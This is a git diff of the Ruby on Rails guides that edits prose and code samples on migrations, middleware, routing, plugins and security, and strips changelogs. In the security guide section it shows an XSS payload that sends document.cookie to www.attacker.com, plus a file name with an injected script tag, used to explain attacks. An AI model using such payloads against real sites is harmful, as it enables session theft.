+Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.
h3. Running Migrations
-Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits.
+Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits.
Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database.
If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
+version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run
<shell>
$ rake db:migrate VERSION=20080906120000
</shell>
-If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000.
+If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000.
h4. Rolling Back
@@ -434,13 +435,13 @@ $ rake db:rollback STEP=3
will run the +down+ method from the last 3 migrations.
-The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example
+The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example
<shell>
$ rake db:migrate:redo STEP=3
</shell>
-Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
+Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to.
Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it.
@@ -448,7 +449,7 @@ NOTE: This is not the same as running all the migrations - see the section on "s
h4. Being Specific
-If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example
+If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example,
<shell>
$ rake db:migrate:up VERSION=20080906120000
@@ -471,13 +472,13 @@ By default migrations tell you exactly what they're doing and how long it took.
Several methods are provided that allow you to control all this:
-* +suppress_messages+ suppresses any output generated by its block
-* +say+ outputs text (the second argument controls whether it is indented or not)
+* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block.
+* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
For example, this migration
-<pre>
+<ruby>
class CreateProducts < ActiveRecord::Migration
def change
suppress_messages do
@@ -496,7 +497,7 @@ class CreateProducts < ActiveRecord::Migration
end
end
end
-</pre>
+</ruby>
generates the following output
@@ -510,11 +511,11 @@ generates the following output
20080906170109 CreateProducts: migrated (10.0097s)
</shell>
-If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output.
+If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output.
h3. Using Models in Your Migrations
-When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done, but some caution should be observed.
+When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed.
For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration.
@@ -523,9 +524,9 @@ Consider this example, where Alice and Bob are working on the same code base whi
Bob goes on vacation.
Alice creates a migration for the +products+ table which adds a new column and initializes it.
-She also adds a validation to the Product model for the new column.
+She also adds a validation to the +Product+ model for the new column.
-<pre>
+<ruby>
# db/migrate/20100513121110_add_flag_to_product.rb
class AddFlagToProduct < ActiveRecord::Migration
@@ -534,19 +535,19 @@ class AddFlagToProduct < ActiveRecord::Migration
Product.all.each { |f| f.update_attributes!(:flag => 'false') }
end
end
-</pre>
+</ruby>
-<pre>
+<ruby>
# app/model/product.rb
class Product < ActiveRecord::Base
- validates_presence_of :flag
+ validates :flag, :presence => true
end
-</pre>
+</ruby>
-Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the Product model for the new column.
+Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column.
-<pre>
+<ruby>
# db/migrate/20100515121110_add_fuzz_to_product.rb
class AddFuzzToProduct < ActiveRecord::Migration
@@ -555,16 +556,15 @@ class AddFuzzToProduct < ActiveRecord::Migration
Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' }
end
end
-</pre>
+</ruby>
-<pre>
+<ruby>
# app/model/product.rb
class Product < ActiveRecord::Base
- validates_presence_of :flag
- validates_presence_of :fuzz
+ validates :flag, :fuzz, :presence => true
end
-</pre>
+</ruby>
Both migrations work for Alice.
@@ -573,36 +573,37 @@ Bob comes back from vacation and:
# updates the source - which contains both migrations and the latests version of the Product model.
# runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model.
-The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs.
+The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs:
-<pre>
+<plain>
rake aborted!
An error has occurred, this and all later migrations canceled:
undefined method `fuzz' for #<Product:0x000001049b14a0>
-</pre>
+</plain>
A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion.
-When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the ActiveRecord cache for the Product model prior to updating data in the database.
+When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database.
If Alice had done this instead, there would have been no problem:
-<pre>
+<ruby>
# db/migrate/20100513121110_add_flag_to_product.rb
class AddFlagToProduct < ActiveRecord::Migration
class Product < ActiveRecord::Base
end
+
def change
add_column :products, :flag, :int
- Product.reset_column_information
+ Product.reset_column_information
Product.all.each { |f| f.update_attributes!(:flag => false) }
end
end
-</pre>
+</ruby>
-<pre>
+<ruby>
# db/migrate/20100515121110_add_fuzz_to_product.rb
class AddFuzzToProduct < ActiveRecord::Migration
@@ -614,7 +615,7 @@ class AddFuzzToProduct < ActiveRecord::Migration
Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' }
end
end
-</pre>
+</ruby>
h3. Schema Dumping and You
@@ -627,7 +628,7 @@ There is no need (and it is error prone) to deploy a new instance of an app by r
For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database.
-Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest.
+Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality.
h4. Types of Schema Dumps
@@ -653,13 +654,11 @@ ActiveRecord::Schema.define(:version => 20080906171750) do
end
</ruby>
-In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+.
+In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
-Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
+There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+.
-By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
+Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it.
h4. Schema Dumps and Source Control
@@ -669,12 +668,6 @@ h3. Active Record and Referential Integrity
The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.
-Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-
-Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
-
-h3. Changelog
+Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-* April 26, 2011: change generated +up+ and +down+ methods to +change+ method, and describe detail about +change+ method by "Prem Sichanugrist":http://sikachu.com
-* July 15, 2010: minor typos corrected by "Jaime Iniesta":http://jaimeiniesta.com
-* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung
+Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. You could also use some plugin like "foreigner":https://github.com/matthuhiggins/foreigner which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile
index dbe6f97f5c..2440927542 100644
--- a/railties/guides/source/performance_testing.textile
+++ b/railties/guides/source/performance_testing.textile
@@ -207,7 +207,7 @@ GC Time measures the amount of time spent in GC for the performance test case.
h5. Metric Availability
-h6. Benchmarking
+h6(#benchmarking_1). Benchmarking
|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
|_.MRI | yes | yes | yes | no | yes | yes | yes | yes |
@@ -215,7 +215,7 @@ h6. Benchmarking
|_.Rubinius | yes | no | no | no | yes | yes | yes | yes |
|_.JRuby | yes | no | no | yes | yes | yes | yes | yes |
-h6. Profiling
+h6(#profiling_1). Profiling
|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
|_.MRI | yes | yes | no | no | yes | yes | yes | yes |
@@ -438,16 +438,16 @@ alias gcrails='~/rubygc/bin/rails'
Don't forget to use your aliases from now on.
-h6. Install Rubygems (1.8 only!)
+h6. Install RubyGems (1.8 only!)
-Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above.
+Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above.
h4. Using Ruby-Prof on MRI and REE
Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE:
<ruby>
-gem 'ruby-prof', :path => 'git://github.com/wycats/ruby-prof.git'
+gem 'ruby-prof', :git => 'git://github.com/wycats/ruby-prof.git'
</ruby>
Now run +bundle install+ and you're ready to go.
@@ -595,9 +595,3 @@ Rails has been lucky to have a few companies dedicated to Rails-specific perform
* "New Relic":http://www.newrelic.com
* "Scout":http://scoutapp.com
-
-h3. Changelog
-
-* March 30, 2011: Documented the recent improvements (multiple interpreters, options, etc) and necessary adjustments. Other minor improvements. "Gonçalo Silva":http://goncalossilva.com.
-* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo
-* September 6, 2008: Initial version by Matthew Bergman
diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile
index 188423861d..5cfd336d1e 100644
--- a/railties/guides/source/plugins.textile
+++ b/railties/guides/source/plugins.textile
@@ -290,7 +290,7 @@ You can then return to the root directory (+cd ../..+) of your plugin and rerun
</shell>
-Getting closer...now we will implement the code of the acts_as_yaffle method to make the tests pass.
+Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
<ruby>
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -322,7 +322,7 @@ When you run +rake+ you should see the tests all pass:
h4. Add an Instance Method
-This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk'
+This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
method will simply set the value of one of the fields in the database.
To start out, write a failing test that shows the behavior you'd like:
@@ -347,7 +347,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase
assert_equal "squawk! Hello World", hickwall.last_squawk
end
- def test_wickwalls_squawk_should_populate_last_tweeted_at
+ def test_wickwalls_squawk_should_populate_last_tweet
wickwall = Wickwall.new
wickwall.squawk("Hello World")
assert_equal "squawk! Hello World", wickwall.last_tweet
@@ -355,7 +355,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase
end
</ruby>
-Run the test to make sure the last two tests fail the an error that contains "NoMethodError: undefined method `squawk'",
+Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
then update 'acts_as_yaffle.rb' to look like this:
<ruby>
@@ -386,6 +386,7 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
</ruby>
Run +rake+ one final time and you should see:
+
<shell>
7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
</shell>
@@ -399,11 +400,11 @@ the creation of generators can be found in the "Generators Guide":generators.htm
h3. Publishing your Gem
-Gem plugins in progress can be easily be shared from any Git repository. To share the Yaffle gem with others, simply
-commit the code to a Git repository (like Github) and add a line to the Gemfile of the any application:
+Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
+commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question:
<ruby>
-gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
+gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
</ruby>
After running +bundle install+, your gem functionality will be available to the application.
@@ -425,11 +426,12 @@ require 'yaffle'
</ruby>
You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the
-console we can check to see if the String has an instance method of to_squawk.
+console we can check to see if the String has an instance method to_squawk:
+
<shell>
$ cd my_app
$ rails console
-$ String.instance_methods.sort
+$ "Rails plugins are easy!".to_squawk
</shell>
You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed.
@@ -443,9 +445,9 @@ The first step is to update the README file with detailed information about how
* Your name
* How to install
* How to add the functionality to the app (several examples of common use cases)
-* Warning, gotchas or tips that might help save users time
+* Warnings, gotchas or tips that might help users and save them time
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api.
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api.
Once your comments are good to go, navigate to your plugin directory and run:
@@ -460,11 +462,3 @@ h4. References
* "Gemspec Reference":http://docs.rubygems.org/read/chapter/20
* "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
* "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
-
-h3. Changelog
-
-* March 10, 2011: Minor formatting tweaks.
-* February 13, 2011: Get guide in synch with Rails 3.0.3. Remove information not compatible with Rails 3. Send reader elsewhere
-for information that is covered elsewhere.
-* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* November 17, 2008: Major revision by Jeff Dean
diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile
index 90fc763349..3b51a52733 100644
--- a/railties/guides/source/rails_application_templates.textile
+++ b/railties/guides/source/rails_application_templates.textile
@@ -60,6 +60,18 @@ Please note that this will NOT install the gems for you and you will have to run
bundle install
</ruby>
+h4. gem_group(*names, &block)
+
+Wraps gem entries inside a group.
+
+For example, if you want to load +rspec-rails+ only in +development+ and +test+ group:
+
+<ruby>
+gem_group :development, :test do
+ gem "rspec-rails"
+end
+</ruby>
+
h4. add_source(source, options = {})
Adds the given source to the generated application's +Gemfile+.
@@ -148,7 +160,7 @@ The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task.
h4. generate(what, args)
-Runs the supplied rails generator with given arguments. For example, I love to scaffold some whenever I’m playing with Rails:
+Runs the supplied rails generator with given arguments.
<ruby>
generate(:scaffold, "person", "name:string", "address:text", "age:number")
@@ -176,12 +188,6 @@ You can also run rake tasks with a different Rails environment:
rake "db:migrate", :env => 'production'
</ruby>
-Or even use sudo:
-
-<ruby>
-rake "gems:install", :sudo => true
-</ruby>
-
h4. route(routing_code)
This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application:
@@ -232,7 +238,3 @@ git :init
git :add => "."
git :commit => "-a -m 'Initial commit'"
</ruby>
-
-h3. Changelog
-
-* April 29, 2009: Initial version by "Pratik":credits.html#lifo
diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile
index 8d5985dba8..d6cbd84b1f 100644
--- a/railties/guides/source/rails_on_rack.textile
+++ b/railties/guides/source/rails_on_rack.textile
@@ -89,23 +89,32 @@ $ rake middleware
For a freshly generated Rails application, this might produce something like:
<ruby>
+use ActionDispatch::Static
use Rack::Lock
-use ActionController::Failsafe
-use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"}
-use Rails::Rack::Metal
-use ActionDispatch::RewindableInput
-use ActionController::ParamsParser
-use Rack::MethodOverride
-use Rack::Head
+use ActiveSupport::Cache::Strategy::LocalCache
+use Rack::Runtime
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::RemoteIp
+use Rack::Sendfile
+use ActionDispatch::Callbacks
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
-run ActionController::Dispatcher.new
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use ActionDispatch::ParamsParser
+use Rack::MethodOverride
+use ActionDispatch::Head
+use ActionDispatch::BestStandardsSupport
+run Blog::Application.routes
</ruby>
Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
h4. Configuring Middleware Stack
-Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
+Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
h5. Adding a Middleware
@@ -118,7 +127,7 @@ You can add a new middleware to the middleware stack using any of the following
* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack.
<ruby>
-# config/environment.rb
+# config/application.rb
# Push Rack::BounceFavicon at the bottom
config.middleware.use Rack::BounceFavicon
@@ -133,7 +142,7 @@ h5. Swapping a Middleware
You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
<ruby>
-# config/environment.rb
+# config/application.rb
# Replace ActionController::Failsafe with Lifo::Failsafe
config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
@@ -157,8 +166,9 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
|+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.|
|+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.|
|+ActiveRecord::QueryCache+|Enables the Active Record query cache.|
-|+ActionController::Session::CookieStore+|Uses the cookie based session store.|
-|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.|
+|+ActionDispatch::Session::CookieStore+|Uses the cookie based session store.|
+|+ActionDispatch::Session::CacheStore+|Uses the Rails cache based session store.|
+|+ActionDispatch::Session::MemCacheStore+|Uses the memcached based session store.|
|+ActiveRecord::SessionStore+|Uses the database based session store.|
|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.|
|+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.|
@@ -198,7 +208,7 @@ The following shows how to replace use +Rack::Builder+ instead of the Rails supp
<strong>Clear the existing Rails middleware stack</strong>
<ruby>
-# environment.rb
+# config/application.rb
config.middleware.clear
</ruby>
@@ -207,7 +217,7 @@ config.middleware.clear
<ruby>
# config.ru
-use MyOwnStackFromStratch
+use MyOwnStackFromScratch
run ActionController::Dispatcher.new
</ruby>
@@ -223,8 +233,3 @@ h4. Learning Rack
h4. Understanding Middlewares
* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
-
-h3. Changelog
-
-* February 7, 2009: Second version by "Pratik":credits.html#lifo
-* January 11, 2009: First version by "Pratik":credits.html#lifo
diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile
index 99dd9a1cd2..29c729592b 100644
--- a/railties/guides/source/routing.textile
+++ b/railties/guides/source/routing.textile
@@ -596,6 +596,8 @@ match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}"
match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
</ruby>
+Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
+
In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request.
h4. Routing to Rack Applications
@@ -618,7 +620,7 @@ You can specify what Rails should route +"/"+ to with the +root+ method:
root :to => 'pages#main'
</ruby>
-You should put the +root+ route at the end of the file. You also need to delete the +public/index.html+ file for the root route to take effect.
+You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect.
h3. Customizing Resourceful Routes
@@ -881,12 +883,3 @@ The +assert_routing+ assertion checks the route both ways: it tests that the pat
<ruby>
assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
</ruby>
-
-h3. Changelog
-
-* April 10, 2010: Updated guide to remove outdated and superfluous information, and to provide information about new features, by "Yehuda Katz":http://www.yehudakatz.com
-* April 2, 2010: Updated guide to match new Routing DSL in Rails 3, by "Rizwan Reza":http://www.rizwanreza.com/
-* February 1, 2010: Modifies the routing documentation to match new routing DSL in Rails 3, by Prem Sichanugrist
-* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy
-* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy
-* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
index 5989191b5c..29aefd25f8 100644
--- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile
+++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
@@ -26,7 +26,7 @@ h5. When are Objects Saved?
Use the same typography as in regular text:
<plain>
-h6. The +:content_type+ Option
+h6. The <tt>:content_type</tt> Option
</plain>
h3. API Documentation Guidelines
@@ -77,8 +77,3 @@ bundle exec rake validate_guides
</plain>
Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them.
-
-h3. Changelog
-
-* March 31, 2011: grammar tweaks by "Josiah Ivey":http://twitter.com/josiahivey
-* October 5, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn
diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile
index 1f6ff88c1f..c2ef7bf9b5 100644
--- a/railties/guides/source/security.textile
+++ b/railties/guides/source/security.textile
@@ -80,12 +80,11 @@ This will also be a good idea, if you modify the structure of an object and old
* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-
h4. Session Storage
--- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._
+-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._
-There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
+There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
@@ -158,9 +157,9 @@ One possibility is to set the expiry time-stamp of the cookie with the session i
<ruby>
class Session < ActiveRecord::Base
def self.sweep(time = 1.hour)
- time = time.split.inject { |count, unit|
- count.to_i.send(unit)
- } if time.is_a?(String)
+ if time.is_a?(String)
+ time = time.split.inject { |count, unit| count.to_i.send(unit) }
+ end
delete_all "updated_at < '#{time.ago.to_s(:db)}'"
end
@@ -475,7 +474,7 @@ h3. User Management
-- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
-There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
+There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features.
Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
@@ -583,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e
<ruby>
class File < ActiveRecord::Base
- validates :name, :format => /^[\w\.\-\+]+$/
+ validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
end
</ruby>
@@ -596,7 +595,7 @@ file.txt%0A<script>alert('hello')</script>
Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
<ruby>
-/\A[\w\.\-\+]+\z/
+/\A[\w\.\-\<plus>]<plus>\z/
</ruby>
h4. Privilege Escalation
@@ -763,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
<html>
-<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
</html>
The log files on www.attacker.com will read like this:
@@ -1003,7 +1002,3 @@ The security landscape shifts and it is important to keep up to date, because mi
* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
-
-h3. Changelog
-
-* November 1, 2008: First approved version by Heiko Webers
diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile
index cc55d1f756..5dbbe2c0f0 100644
--- a/railties/guides/source/testing.textile
+++ b/railties/guides/source/testing.textile
@@ -927,11 +927,11 @@ class UserControllerTest < ActionController::TestCase
assert_difference 'ActionMailer::Base.deliveries.size', +1 do
post :invite_friend, :email => 'friend@example.com'
end
- invite_email = ActionMailer::Base.deliveries.first
+ invite_email = ActionMailer::Base.deliveries.last
assert_equal "You have been invited by me@example.com", invite_email.subject
assert_equal 'friend@example.com', invite_email.to[0]
